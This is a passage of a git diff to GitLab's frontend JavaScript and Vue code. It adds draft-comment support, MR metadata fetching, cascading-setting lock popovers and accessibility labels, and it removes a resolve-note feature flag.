diff --git a/app/assets/javascripts/monitoring/components/duplicate_dashboard_form.vue b/app/assets/javascripts/monitoring/components/duplicate_dashboard_form.vue
index 627af202028..1765a2f3d5d 100644
--- a/app/assets/javascripts/monitoring/components/duplicate_dashboard_form.vue
+++ b/app/assets/javascripts/monitoring/components/duplicate_dashboard_form.vue
@@ -23,7 +23,7 @@ export default {
},
},
radioVals: {
- /* Use the default branch (e.g. master) */
+ /* Use the default branch (e.g. main) */
DEFAULT: 'DEFAULT',
/* Create a new branch */
NEW: 'NEW',
diff --git a/app/assets/javascripts/monitoring/components/links_section.vue b/app/assets/javascripts/monitoring/components/links_section.vue
index 3f9f57d4ac1..fb5ab12916e 100644
--- a/app/assets/javascripts/monitoring/components/links_section.vue
+++ b/app/assets/javascripts/monitoring/components/links_section.vue
@@ -15,7 +15,7 @@ export default {
<template>
<div
ref="linksSection"
- class="gl-sm-display-flex gl-flex-sm-wrap gl-mt-5 gl-p-3 gl-bg-gray-10 border gl-rounded-base links-section"
+ class="gl-sm-display-flex gl-sm-flex-wrap gl-mt-5 gl-p-3 gl-bg-gray-10 border gl-rounded-base links-section"
>
<div
v-for="(link, key) in links"
diff --git a/app/assets/javascripts/monitoring/components/refresh_button.vue b/app/assets/javascripts/monitoring/components/refresh_button.vue
index 3daf5b38933..0b80043a92c 100644
--- a/app/assets/javascripts/monitoring/components/refresh_button.vue
+++ b/app/assets/javascripts/monitoring/components/refresh_button.vue
@@ -9,7 +9,7 @@ import {
} from '@gitlab/ui';
import Visibility from 'visibilityjs';
import { mapActions } from 'vuex';
-import { n__, __ } from '~/locale';
+import { n__, __, s__ } from '~/locale';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -45,6 +45,9 @@ const makeInterval = (length = 0, unit = 's') => {
};
export default {
+ i18n: {
+ refreshDashboard: s__('Metrics|Refresh dashboard'),
+ },
components: {
GlButtonGroup,
GlButton,
@@ -148,7 +151,8 @@ export default {
v-gl-tooltip
class="gl-flex-grow-1"
variant="default"
- :title="s__('Metrics|Refresh dashboard')"
+ :title="$options.i18n.refreshDashboard"
+ :aria-label="$options.i18n.refreshDashboard"
icon="retry"
@click="refresh"
/>
diff --git a/app/assets/javascripts/mr_notes/init_notes.js b/app/assets/javascripts/mr_notes/init_notes.js
index 9a93e90c2bb..d85fd10be45 100644
--- a/app/assets/javascripts/mr_notes/init_notes.js
+++ b/app/assets/javascripts/mr_notes/init_notes.js
@@ -25,6 +25,9 @@ export default () => {
return {
noteableData,
+ endpoints: {
+ metadata: notesDataset.endpointMetadata,
+ },
currentUserData: JSON.parse(notesDataset.currentUserData),
notesData: JSON.parse(notesDataset.notesData),
helpPagePath: notesDataset.helpPagePath,
@@ -54,6 +57,9 @@ export default () => {
},
created() {
this.setActiveTab(window.mrTabs.getCurrentAction());
+ this.setEndpoints(this.endpoints);
+
+ this.fetchMrMetadata();
},
mounted() {
this.notesCountBadge = $('.issuable-details').find('.notes-tab .badge');
@@ -65,7 +71,7 @@ export default () => {
window.mrTabs.eventHub.$off('MergeRequestTabChange', this.setActiveTab);
},
methods: {
- ...mapActions(['setActiveTab']),
+ ...mapActions(['setActiveTab', 'setEndpoints', 'fetchMrMetadata']),
updateDiscussionTabCounter() {
this.notesCountBadge.text(this.discussionTabCounter);
},
diff --git a/app/assets/javascripts/mr_notes/stores/actions.js b/app/assets/javascripts/mr_notes/stores/actions.js
index 426c6a00d5e..bc66d1dd68f 100644
--- a/app/assets/javascripts/mr_notes/stores/actions.js
+++ b/app/assets/javascripts/mr_notes/stores/actions.js
@@ -1,7 +1,32 @@
+import axios from '~/lib/utils/axios_utils';
+
import types from './mutation_types';
-export default {
- setActiveTab({ commit }, tab) {
- commit(types.SET_ACTIVE_TAB, tab);
- },
-};
+export function setActiveTab({ commit }, tab) {
+ commit(types.SET_ACTIVE_TAB, tab);
+}
+
+export function setEndpoints({ commit }, endpoints) {
+ commit(types.SET_ENDPOINTS, endpoints);
+}
+
+export function setMrMetadata({ commit }, metadata) {
+ commit(types.SET_MR_METADATA, metadata);
+}
+
+export function fetchMrMetadata({ dispatch, state }) {
+ if (state.endpoints?.metadata) {
+ axios
+ .get(state.endpoints.metadata)
+ .then((response) => {
+ dispatch('setMrMetadata', response.data);
+ })
+ .catch(() => {
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/324740
+ // We can't even do a simple console warning here because
+ // the pipeline will fail. However, the issue above will
+ // eventually handle errors appropriately.
+ // console.warn('Failed to load MR Metadata for the Overview tab.');
+ });
+ }
+}
diff --git a/app/assets/javascripts/mr_notes/stores/modules/index.js b/app/assets/javascripts/mr_notes/stores/modules/index.js
index c28e666943b..52e12ba664c 100644
--- a/app/assets/javascripts/mr_notes/stores/modules/index.js
+++ b/app/assets/javascripts/mr_notes/stores/modules/index.js
@@ -1,10 +1,12 @@
-import actions from '../actions';
+import * as actions from '../actions';
import getters from '../getters';
import mutations from '../mutations';
export default () => ({
state: {
+ endpoints: {},
activeTab: null,
+ mrMetadata: {},
},
actions,
getters,
diff --git a/app/assets/javascripts/mr_notes/stores/mutation_types.js b/app/assets/javascripts/mr_notes/stores/mutation_types.js
index 105104361cf..88cf6e48988 100644
--- a/app/assets/javascripts/mr_notes/stores/mutation_types.js
+++ b/app/assets/javascripts/mr_notes/stores/mutation_types.js
@@ -1,3 +1,5 @@
export default {
SET_ACTIVE_TAB: 'SET_ACTIVE_TAB',
+ SET_ENDPOINTS: 'SET_ENDPOINTS',
+ SET_MR_METADATA: 'SET_MR_METADATA',
};
diff --git a/app/assets/javascripts/mr_notes/stores/mutations.js b/app/assets/javascripts/mr_notes/stores/mutations.js
index 8175aa9488f..6af6adb4e18 100644
--- a/app/assets/javascripts/mr_notes/stores/mutations.js
+++ b/app/assets/javascripts/mr_notes/stores/mutations.js
@@ -4,4 +4,10 @@ export default {
[types.SET_ACTIVE_TAB](state, tab) {
Object.assign(state, { activeTab: tab });
},
+ [types.SET_ENDPOINTS](state, endpoints) {
+ Object.assign(state, { endpoints });
+ },
+ [types.SET_MR_METADATA](state, metadata) {
+ Object.assign(state, { mrMetadata: metadata });
+ },
};
diff --git a/app/assets/javascripts/namespaces/cascading_settings/components/lock_popovers.vue b/app/assets/javascripts/namespaces/cascading_settings/components/lock_popovers.vue
new file mode 100644
index 00000000000..8de6e910bb6
--- /dev/null
+++ b/app/assets/javascripts/namespaces/cascading_settings/components/lock_popovers.vue
@@ -0,0 +1,77 @@
+<script>
+import { GlPopover, GlSprintf, GlLink } from '@gitlab/ui';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+
+export default {
+ name: 'LockPopovers',
+ components: {
+ GlPopover,
+ GlSprintf,
+ GlLink,
+ },
+ data() {
+ return {
+ targets: [],
+ };
+ },
+ mounted() {
+ this.targets = [...document.querySelectorAll('.js-cascading-settings-lock-popover-target')].map(
+ (el) => {
+ const {
+ dataset: { popoverData },
+ } = el;
+
+ const {
+ lockedByAncestor,
+ lockedByApplicationSetting,
+ ancestorNamespace,
+ } = convertObjectPropsToCamelCase(JSON.parse(popoverData || '{}'), { deep: true });
+
+ return {
+ el,
+ lockedByAncestor,
+ lockedByApplicationSetting,
+ ancestorNamespace,
+ };
+ },
+ );
+ },
+};
+</script>
+
+<template>
+ <div>
+ <template
+ v-for="(
+ { el, lockedByApplicationSetting, lockedByAncestor, ancestorNamespace }, index
+ ) in targets"
+ >
+ <gl-popover
+ v-if="lockedByApplicationSetting || lockedByAncestor"
+ :key="index"
+ :target="el"
+ placement="top"
+ >
+ <template #title>{{ s__('CascadingSettings|Setting enforced') }}</template>
+ <p data-testid="cascading-settings-lock-popover">
+ <template v-if="lockedByApplicationSetting">{{
+ s__('CascadingSettings|This setting has been enforced by an instance admin.')
+ }}</template>
+
+ <gl-sprintf
+ v-else-if="lockedByAncestor && ancestorNamespace"
+ :message="
+ s__('CascadingSettings|This setting has been enforced by an owner of %{link}.')
+ "
+ >
+ <template #link>
+ <gl-link :href="ancestorNamespace.path" class="gl-font-sm">{{
+ ancestorNamespace.fullName
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </gl-popover>
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/namespaces/cascading_settings/index.js b/app/assets/javascripts/namespaces/cascading_settings/index.js
new file mode 100644
index 00000000000..3e44d1e9e2d
--- /dev/null
+++ b/app/assets/javascripts/namespaces/cascading_settings/index.js
@@ -0,0 +1,15 @@
+import Vue from 'vue';
+import LockPopovers from './components/lock_popovers.vue';
+
+export const initCascadingSettingsLockPopovers = () => {
+ const el = document.querySelector('.js-cascading-settings-lock-popovers');
+
+ if (!el) return false;
+
+ return new Vue({
+ el,
+ render(createElement) {
+ return createElement(LockPopovers);
+ },
+ });
+};
diff --git a/app/assets/javascripts/notes.js b/app/assets/javascripts/notes.js
index 8ed40f36103..b5c59f34e87 100644
--- a/app/assets/javascripts/notes.js
+++ b/app/assets/javascripts/notes.js
@@ -22,7 +22,7 @@ import syntaxHighlight from '~/syntax_highlight';
import Autosave from './autosave';
import loadAwardsHandler from './awards_handler';
import CommentTypeToggle from './comment_type_toggle';
-import { deprecatedCreateFlash as Flash } from './flash';
+import createFlash from './flash';
import { defaultAutocompleteConfig } from './gfm_auto_complete';
import GLForm from './gl_form';
import axios from './lib/utils/axios_utils';
@@ -106,7 +106,7 @@ export default class Notes {
this.collapseLongCommitList();
this.setViewType(view);
- // We are in the Merge Requests page so we need another edit form for Changes tab
+ // We are in the merge requests page so we need another edit form for Changes tab
if (getPagePath(1) === 'merge_requests') {
$('.note-edit-form').clone().addClass('mr-note-edit-form').insertAfter('.note-edit-form');
}
@@ -399,7 +399,11 @@ export default class Notes {
if (noteEntity.commands_changes && Object.keys(noteEntity.commands_changes).length > 0) {
$notesList.find('.system-note.being-posted').remove();
}
- this.addFlash(noteEntity.errors.commands_only, 'notice', this.parentTimeline.get(0));
+ this.addFlash({
+ message: noteEntity.errors.commands_only,
+ type: 'notice',
+ parent: this.parentTimeline.get(0),
+ });
this.refresh();
}
return;
@@ -620,20 +624,21 @@ export default class Notes {
} else if ($form.hasClass('js-discussion-note-form')) {
formParentTimeline = $form.closest('.discussion-notes').find('.notes');
}
- return this.addFlash(
- __(
+ return this.addFlash({
+ message: __(
'Your comment could not be submitted! Please check your network connection and try again.',
),
- 'alert',
- formParentTimeline.get(0),
- );
+ type: 'alert',
+ parent: formParentTimeline.get(0),
+ });
}
updateNoteError() {
- // eslint-disable-next-line no-new
- new Flash(
- __('Your comment could not be updated! Please check your network connection and try again.'),
- );
+ createFlash({
+ message: __(
+ 'Your comment could not be updated! Please check your network connection and try again.',
+ ),
+ });
}
/**
@@ -1289,7 +1294,7 @@ export default class Notes {
}
addFlash(...flashParams) {
- this.flashContainer = new Flash(...flashParams);
+ this.flashContainer = createFlash(...flashParams);
}
clearFlash() {
diff --git a/app/assets/javascripts/notes/components/comment_form.vue b/app/assets/javascripts/notes/components/comment_form.vue
index 08d7c745791..79d8ce78329 100644
--- a/app/assets/javascripts/notes/components/comment_form.vue
+++ b/app/assets/javascripts/notes/components/comment_form.vue
@@ -84,6 +84,7 @@ export default {
'getNoteableDataByProp',
'getNotesData',
'openState',
+ 'hasDrafts',
]),
...mapState(['isToggleStateButtonLoading']),
isNoteTypeComment() {
@@ -171,6 +172,9 @@ export default {
endpoint() {
return this.getNoteableData.create_note_path;
},
+ draftEndpoint() {
+ return this.getNotesData.draftsPath;
+ },
issuableTypeTitle() {
return this.noteableType === constants.MERGE_REQUEST_NOTEABLE_TYPE
? this.$options.i18n.mergeRequest
@@ -214,12 +218,15 @@ export default {
this.errors = [this.$options.i18n.GENERIC_UNSUBMITTABLE_NETWORK];
}
},
- handleSave(withIssueAction) {
+ handleSaveDraft() {
+ this.handleSave({ isDraft: true });
+ },
+ handleSave({ withIssueAction = false, isDraft = false } = {}) {
this.errors = [];
if (this.note.length) {
const noteData = {
- endpoint: this.endpoint,
+ endpoint: isDraft ? this.draftEndpoint : this.endpoint,
data: {
note: {
noteable_type: this.noteableType,
@@ -229,6 +236,7 @@ export default {
},
merge_request_diff_head_sha: this.getNoteableData.diff_head_sha,
},
+ isDraft,
};
if (this.noteType === constants.DISCUSSION) {
@@ -392,62 +400,82 @@ export default {
</markdown-field>
</comment-field-layout>
<div class="note-form-actions">
- <gl-form-checkbox
- v-if="confidentialNotesEnabled && canSetConfidential"
- v-model="noteIsConfidential"
- class="gl-mb-6"
- data-testid="confidential-note-checkbox"
- >
- {{ $options.i18n.confidential }}
- <gl-icon
- v-gl-tooltip:tooltipcontainer.bottom
- name="question"
- :size="16"
- :title="$options.i18n.confidentialVisibility"
- class="gl-text-gray-500"
- />
- </gl-form-checkbox>
- <gl-dropdown
- split
- :text="commentButtonTitle"
- class="gl-mr-3 js-comment-button js-comment-submit-button comment-type-dropdown"
- category="primary"
- variant="success"
- :disabled="disableSubmitButton"
- data-testid="comment-button"
- data-qa-selector="comment_button"
- :data-track-label="trackingLabel"
- data-track-event="click_button"
- @click="handleSave()"
- >
- <gl-dropdown-item
- is-check-item
- :is-checked="isNoteTypeComment"
- :selected="isNoteTypeComment"
- @click="setNoteTypeToComment"
+ <template v-if="hasDrafts">
+ <gl-button
+ :disabled="disableSubmitButton"
+ data-testid="add-to-review-button"
+ type="submit"
+ category="primary"
+ variant="success"
+ @click.prevent="handleSaveDraft()"
+ >{{ __('Add to review') }}</gl-button
+ >
+ <gl-button
+ :disabled="disableSubmitButton"
+ data-testid="add-comment-now-button"
+ category="secondary"
+ @click.prevent="handleSave()"
+ >{{ __('Add comment now') }}</gl-button
+ >
+ </template>
+ <template v-else>
+ <gl-form-checkbox
+ v-if="confidentialNotesEnabled && canSetConfidential"
+ v-model="noteIsConfidential"
+ class="gl-mb-6"
+ data-testid="confidential-note-checkbox"
>
- <strong>{{ $options.i18n.submitButton.comment }}</strong>
- <p class="gl-m-0">{{ commentDescription }}</p>
- </gl-dropdown-item>
- <gl-dropdown-divider />
- <gl-dropdown-item
- is-check-item
- :is-checked="isNoteTypeDiscussion"
- :selected="isNoteTypeDiscussion"
- data-qa-selector="discussion_menu_item"
- @click="setNoteTypeToDiscussion"
+ {{ $options.i18n.confidential }}
+ <gl-icon
+ v-gl-tooltip:tooltipcontainer.bottom
+ name="question"
+ :size="16"
+ :title="$options.i18n.confidentialVisibility"
+ class="gl-text-gray-500"
+ />
+ </gl-form-checkbox>
+ <gl-dropdown
+ split
+ :text="commentButtonTitle"
+ class="gl-mr-3 js-comment-button js-comment-submit-button comment-type-dropdown"
+ category="primary"
+ variant="confirm"
+ :disabled="disableSubmitButton"
+ data-testid="comment-button"
+ data-qa-selector="comment_button"
+ :data-track-label="trackingLabel"
+ data-track-event="click_button"
+ @click="handleSave()"
>
- <strong>{{ $options.i18n.submitButton.startThread }}</strong>
- <p class="gl-m-0">{{ startDiscussionDescription }}</p>
- </gl-dropdown-item>
- </gl-dropdown>
+ <gl-dropdown-item
+ is-check-item
+ :is-checked="isNoteTypeComment"
+ :selected="isNoteTypeComment"
+ @click="setNoteTypeToComment"
+ >
+ <strong>{{ $options.i18n.submitButton.comment }}</strong>
+ <p class="gl-m-0">{{ commentDescription }}</p>
+ </gl-dropdown-item>
+ <gl-dropdown-divider />
+ <gl-dropdown-item
+ is-check-item
+ :is-checked="isNoteTypeDiscussion"
+ :selected="isNoteTypeDiscussion"
+ data-qa-selector="discussion_menu_item"
+ @click="setNoteTypeToDiscussion"
+ >
+ <strong>{{ $options.i18n.submitButton.startThread }}</strong>
+ <p class="gl-m-0">{{ startDiscussionDescription }}</p>
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </template>
<gl-button
v-if="canToggleIssueState"
:loading="isToggleStateButtonLoading"
:class="[actionButtonClassNames, 'btn-comment btn-comment-and-close']"
:disabled="isSubmitting"
data-testid="close-reopen-button"
- @click="handleSave(true)"
+ @click="handleSave({ withIssueAction: true })"
>{{ issueActionButtonTitle }}</gl-button
>
</div>
diff --git a/app/assets/javascripts/notes/components/discussion_navigator.vue b/app/assets/javascripts/notes/components/discussion_navigator.vue
index fa3c900c337..7e8bb75902b 100644
--- a/app/assets/javascripts/notes/components/discussion_navigator.vue
+++ b/app/assets/javascripts/notes/components/discussion_navigator.vue
@@ -1,6 +1,11 @@
<script>
/* global Mousetrap */
import 'mousetrap';
+import {
+ keysFor,
+ MR_NEXT_UNRESOLVED_DISCUSSION,
+ MR_PREVIOUS_UNRESOLVED_DISCUSSION,
+} from '~/behaviors/shortcuts/keybindings';
import eventHub from '~/notes/event_hub';
import discussionNavigation from '~/notes/mixins/discussion_navigation';
@@ -10,12 +15,12 @@ export default {
eventHub.$on('jumpToFirstUnresolvedDiscussion', this.jumpToFirstUnresolvedDiscussion);
},
mounted() {
- Mousetrap.bind('n', this.jumpToNextDiscussion);
- Mousetrap.bind('p', this.jumpToPreviousDiscussion);
+ Mousetrap.bind(keysFor(MR_NEXT_UNRESOLVED_DISCUSSION), this.jumpToNextDiscussion);
+ Mousetrap.bind(keysFor(MR_PREVIOUS_UNRESOLVED_DISCUSSION), this.jumpToPreviousDiscussion);
},
beforeDestroy() {
- Mousetrap.unbind('n');
- Mousetrap.unbind('p');
+ Mousetrap.unbind(keysFor(MR_NEXT_UNRESOLVED_DISCUSSION));
+ Mousetrap.unbind(keysFor(MR_PREVIOUS_UNRESOLVED_DISCUSSION));
eventHub.$off('jumpToFirstUnresolvedDiscussion', this.jumpToFirstUnresolvedDiscussion);
},
diff --git a/app/assets/javascripts/notes/components/discussion_notes.vue b/app/assets/javascripts/notes/components/discussion_notes.vue
index 0f74d78c8e0..dfe2763d8bd 100644
--- a/app/assets/javascripts/notes/components/discussion_notes.vue
+++ b/app/assets/javascripts/notes/components/discussion_notes.vue
@@ -121,6 +121,7 @@ export default {
:is="componentName(firstNote)"
:note="componentData(firstNote)"
:line="line || diffLine"
+ :discussion-file="discussion.diff_file"
:commit="commit"
:help-page-path="helpPagePath"
:show-reply-button="userCanReply"
@@ -167,6 +168,7 @@ export default {
v-for="(note, index) in discussion.notes"
:key="note.id"
:note="componentData(note)"
+ :discussion-file="discussion.diff_file"
:help-page-path="helpPagePath"
:line="diffLine"
:discussion-root="index === 0"
diff --git a/app/assets/javascripts/notes/components/discussion_resolve_with_issue_button.vue b/app/assets/javascripts/notes/components/discussion_resolve_with_issue_button.vue
index cace382ccd6..5f429cbf462 100644
--- a/app/assets/javascripts/notes/components/discussion_resolve_with_issue_button.vue
+++ b/app/assets/javascripts/notes/components/discussion_resolve_with_issue_button.vue
@@ -1,7 +1,11 @@
<script>
import { GlTooltipDirective, GlButton } from '@gitlab/ui';
+import { s__ } from '~/locale';
export default {
+ i18n: {
+ buttonLabel: s__('MergeRequests|Resolve this thread in a new issue'),
+ },
name: 'ResolveWithIssueButton',
components: {
GlButton,
@@ -23,7 +27,8 @@ export default {
<gl-button
v-gl-tooltip
:href="url"
- :title="s__('MergeRequests|Resolve this thread in a new issue')"
+ :title="$options.i18n.buttonLabel"
+ :aria-label="$options.i18n.buttonLabel"
class="new-issue-for-discussion discussion-create-issue-btn"
icon="issue-new"
/>
diff --git a/app/assets/javascripts/notes/components/note_actions.vue b/app/assets/javascripts/notes/components/note_actions.vue
index ed6701b34e8..24399e669a6 100644
--- a/app/assets/javascripts/notes/components/note_actions.vue
+++ b/app/assets/javascripts/notes/components/note_actions.vue
@@ -13,6 +13,12 @@ import { splitCamelCase } from '../../lib/utils/text_utility';
import ReplyButton from './note_actions/reply_button.vue';
export default {
+ i18n: {
+ addReactionLabel: __('Add reaction'),
+ editCommentLabel: __('Edit comment'),
+ deleteCommentLabel: __('Delete comment'),
+ moreActionsLabel: __('More actions'),
+ },
name: 'NoteActions',
components: {
GlIcon,
@@ -119,9 +125,11 @@ export default {
type: Boolean,
required: true,
},
+ // This can be undefined when `canAwardEmoji` is false
awardPath: {
type: String,
- required: true,
+ required: false,
+ default: '',
},
},
computed: {
@@ -301,9 +309,9 @@ export default {
category="tertiary"
variant="default"
size="small"
- title="Add reaction"
+ :title="$options.i18n.addReactionLabel"
+ :aria-label="$options.i18n.addReactionLabel"
data-position="right"
- :aria-label="__('Add reaction')"
>
<span class="reaction-control-icon reaction-control-icon-neutral">
<gl-icon name="slight-smile" />
@@ -325,32 +333,35 @@ export default {
<gl-button
v-if="canEdit"
v-gl-tooltip
- title="Edit comment"
+ :title="$options.i18n.editCommentLabel"
+ :aria-label="$options.i18n.editCommentLabel"
icon="pencil"
size="small"
category="tertiary"
- class="note-action-button js-note-edit btn btn-transparent"
+ class="note-action-button js-note-edit"
data-qa-selector="note_edit_button"
@click="onEdit"
/>
<gl-button
v-if="showDeleteAction"
v-gl-tooltip
- title="Delete comment"
+ :title="$options.i18n.deleteCommentLabel"
+ :aria-label="$options.i18n.deleteCommentLabel"
size="small"
icon="remove"
category="tertiary"
- class="note-action-button js-note-delete btn btn-transparent"
+ class="note-action-button js-note-delete"
@click="onDelete"
/>
<div v-else-if="shouldShowActionsDropdown" class="dropdown more-actions">
<gl-button
v-gl-tooltip
- title="More actions"
+ :title="$options.i18n.moreActionsLabel"
+ :aria-label="$options.i18n.moreActionsLabel"
icon="ellipsis_v"
size="small"
category="tertiary"
- class="note-action-button more-actions-toggle btn btn-transparent"
+ class="note-action-button more-actions-toggle"
data-toggle="dropdown"
@click="closeTooltip"
/>
diff --git a/app/assets/javascripts/notes/components/note_attachment.vue b/app/assets/javascripts/notes/components/note_attachment.vue
index b20facc4032..c49f3e2de99 100644
--- a/app/assets/javascripts/notes/components/note_attachment.vue
+++ b/app/assets/javascripts/notes/components/note_attachment.vue
@@ -24,7 +24,7 @@ export default {
target="_blank"
rel="noopener noreferrer"
>
- <img :src="attachment.url" class="note-image-attach" />
+ <img :src="attachment.url" class="note-image-attach col-lg-4" />
</a>
<div class="attachment">
<a
diff --git a/app/assets/javascripts/notes/components/note_form.vue b/app/assets/javascripts/notes/components/note_form.vue
index d74ade15de1..a70bac94b71 100644
--- a/app/assets/javascripts/notes/components/note_form.vue
+++ b/app/assets/javascripts/notes/components/note_form.vue
@@ -60,6 +60,11 @@ export default {
required: false,
default: null,
},
+ lines: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
note: {
type: Object,
required: false,
@@ -333,6 +338,7 @@ export default {
:help-page-path="helpPagePath"
:show-suggest-popover="showSuggestPopover"
:textarea-value="updatedNoteBody"
+ :lines="lines"
@handleSuggestDismissed="() => $emit('handleSuggestDismissed')"
>
<template #textarea>
@@ -384,7 +390,7 @@ export default {
<gl-button
:disabled="isDisabled"
category="primary"
- variant="success"
+ variant="confirm"
class="gl-mr-3"
data-qa-selector="start_review_button"
@click="handleAddToReview"
@@ -418,7 +424,7 @@ export default {
<gl-button
:disabled="isDisabled"
category="primary"
- variant="success"
+ variant="confirm"
data-qa-selector="reply_comment_button"
class="gl-mr-3 js-vue-issue-save js-comment-button"
@click="handleUpdate()"
diff --git a/app/assets/javascripts/notes/components/noteable_note.vue b/app/assets/javascripts/notes/components/noteable_note.vue
index 185f4a70367..0feb77be653 100644
--- a/app/assets/javascripts/notes/components/noteable_note.vue
+++ b/app/assets/javascripts/notes/components/noteable_note.vue
@@ -48,6 +48,11 @@ export default {
required: false,
default: null,
},
+ discussionFile: {
+ type: Object,
+ required: false,
+ default: null,
+ },
helpPagePath: {
type: String,
required: false,
@@ -86,7 +91,7 @@ export default {
isRequesting: false,
isResolving: false,
commentLineStart: {},
- resolveAsThread: this.glFeatures.removeResolveNote,
+ resolveAsThread: true,
};
},
computed: {
@@ -139,14 +144,9 @@ export default {
return this.note.isDraft;
},
canResolve() {
- if (this.glFeatures.removeResolveNote && !this.discussionRoot) return false;
+ if (!this.discussionRoot) return false;
- if (this.glFeatures.removeResolveNote) return this.note.current_user.can_resolve_discussion;
-
- return (
- this.note.current_user.can_resolve ||
- (this.note.isDraft && this.note.discussion_id !== null)
- );
+ return this.note.current_user.can_resolve_discussion;
},
lineRange() {
return this.note.position?.line_range;
@@ -172,12 +172,18 @@ export default {
return commentLineOptions(lines, this.commentLineStart, this.line.line_code);
},
diffFile() {
+ let fileResolvedFromAvailableSource;
+
if (this.commentLineStart.line_code) {
const lineCode = this.commentLineStart.line_code.split('_')[0];
- return this.getDiffFileByHash(lineCode);
+ fileResolvedFromAvailableSource = this.getDiffFileByHash(lineCode);
+ }
+
+ if (!fileResolvedFromAvailableSource && this.discussionFile) {
+ fileResolvedFromAvailableSource = this.discussionFile;
}
- return null;
+ return fileResolvedFromAvailableSource || null;
},
},
created() {
diff --git a/app/assets/javascripts/notes/components/notes_app.vue b/app/assets/javascripts/notes/components/notes_app.vue
index 58cfd150659..433f75a752d 100644
--- a/app/assets/javascripts/notes/components/notes_app.vue
+++ b/app/assets/javascripts/notes/components/notes_app.vue
@@ -3,8 +3,10 @@ import { mapGetters, mapActions } from 'vuex';
import highlightCurrentUser from '~/behaviors/markdown/highlight_current_user';
import { __ } from '~/locale';
import initUserPopovers from '~/user_popovers';
+import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import OrderedLayout from '~/vue_shared/components/ordered_layout.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import draftNote from '../../batch_comments/components/draft_note.vue';
import { deprecatedCreateFlash as Flash } from '../../flash';
import { getLocationHash, doesHashExistInUrl } from '../../lib/utils/url_utility';
import placeholderNote from '../../vue_shared/components/notes/placeholder_note.vue';
@@ -32,6 +34,8 @@ export default {
discussionFilterNote,
OrderedLayout,
SidebarSubscription,
+ draftNote,
+ TimelineEntryItem,
},
mixins: [glFeatureFlagsMixin()],
props: {
@@ -276,6 +280,9 @@ export default {
<ul id="notes-list" class="notes main-notes-list timeline">
<template v-for="discussion in allDiscussions">
<skeleton-loading-container v-if="discussion.isSkeletonNote" :key="discussion.id" />
+ <timeline-entry-item v-else-if="discussion.isDraft" :key="discussion.id">
+ <draft-note :draft="discussion" />
+ </timeline-entry-item>
<template v-else-if="discussion.isPlaceholderNote">
<placeholder-system-note
v-if="discussion.placeholderType === $options.systemNote"
diff --git a/app/assets/javascripts/notes/components/sort_discussion.vue b/app/assets/javascripts/notes/components/sort_discussion.vue
index ed1f456c174..92c39fbb9f0 100644
--- a/app/assets/javascripts/notes/components/sort_discussion.vue
+++ b/app/assets/javascripts/notes/components/sort_discussion.vue
@@ -49,18 +49,17 @@ export default {
</script>
<template>
- <div class="gl-mr-3 gl-display-inline-block gl-vertical-align-bottom full-width-mobile">
+ <div
+ data-testid="sort-discussion-filter"
+ class="gl-mr-3 gl-display-inline-block gl-vertical-align-bottom full-width-mobile"
+ >
<local-storage-sync
:value="sortDirection"
:storage-key="storageKey"
:persist="persistSortOrder"
@input="setDiscussionSortDirection({ direction: $event })"
/>
- <gl-dropdown
- :text="dropdownText"
- data-testid="sort-discussion-filter"
- class="js-dropdown-text full-width-mobile"
- >
+ <gl-dropdown :text="dropdownText" class="js-dropdown-text full-width-mobile">
<gl-dropdown-item
v-for="{ text, key, cls } in $options.SORT_OPTIONS"
:key="key"
diff --git a/app/assets/javascripts/notes/mixins/resolvable.js b/app/assets/javascripts/notes/mixins/resolvable.js
index baada4c5ce8..27ed8e203b0 100644
--- a/app/assets/javascripts/notes/mixins/resolvable.js
+++ b/app/assets/javascripts/notes/mixins/resolvable.js
@@ -1,24 +1,11 @@
import { deprecatedCreateFlash as Flash } from '~/flash';
import { __ } from '~/locale';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
- mixins: [glFeatureFlagsMixin()],
computed: {
discussionResolved() {
if (this.discussion) {
- const { notes, resolved } = this.discussion;
-
- if (this.glFeatures.removeResolveNote) {
- return Boolean(resolved);
- }
-
- if (notes) {
- // Decide resolved state using store. Only valid for discussions.
- return notes.filter((note) => !note.system).every((note) => note.resolved);
- }
-
- return resolved;
+ return Boolean(this.discussion.resolved);
}
return this.note.resolved;
@@ -47,7 +34,7 @@ export default {
let endpoint =
discussion && this.discussion ? this.discussion.resolve_path : `${this.note.path}/resolve`;
- if (this.glFeatures.removeResolveNote && this.discussionResolvePath) {
+ if (this.discussionResolvePath) {
endpoint = this.discussionResolvePath;
}
diff --git a/app/assets/javascripts/notes/stores/getters.js b/app/assets/javascripts/notes/stores/getters.js
index 43d99937b8d..39f66063cfb 100644
--- a/app/assets/javascripts/notes/stores/getters.js
+++ b/app/assets/javascripts/notes/stores/getters.js
@@ -2,7 +2,23 @@ import { flattenDeep, clone } from 'lodash';
import * as constants from '../constants';
import { collapseSystemNotes } from './collapse_utils';
-export const discussions = (state) => {
+const getDraftComments = (state) => {
+ if (!state.batchComments) {
+ return [];
+ }
+
+ return state.batchComments.drafts
+ .filter((draft) => !draft.file_path && !draft.discussion_id)
+ .map((x) => ({
+ ...x,
+ // Treat a top-level draft note as individual_note so it's not included in
+ // expand/collapse threads
+ individual_note: true,
+ }))
+ .sort((a, b) => a.id - b.id);
+};
+
+export const discussions = (state, getters, rootState) => {
let discussionsInState = clone(state.discussions);
// NOTE: not testing bc will be removed when backend is finished.
@@ -22,11 +38,15 @@ export const discussions = (state) => {
.sort((a, b) => new Date(a.created_at) - new Date(b.created_at));
}
+ discussionsInState = collapseSystemNotes(discussionsInState);
+
+ discussionsInState = discussionsInState.concat(getDraftComments(rootState));
+
if (state.discussionSortOrder === constants.DESC) {
discussionsInState = discussionsInState.reverse();
}
- return collapseSystemNotes(discussionsInState);
+ return discussionsInState;
};
export const convertedDisscussionIds = (state) => state.convertedDisscussionIds;
@@ -257,3 +277,6 @@ export const commentsDisabled = (state) => state.commentsDisabled;
export const suggestionsCount = (state, getters) =>
Object.values(getters.notesById).filter((n) => n.suggestions.length).length;
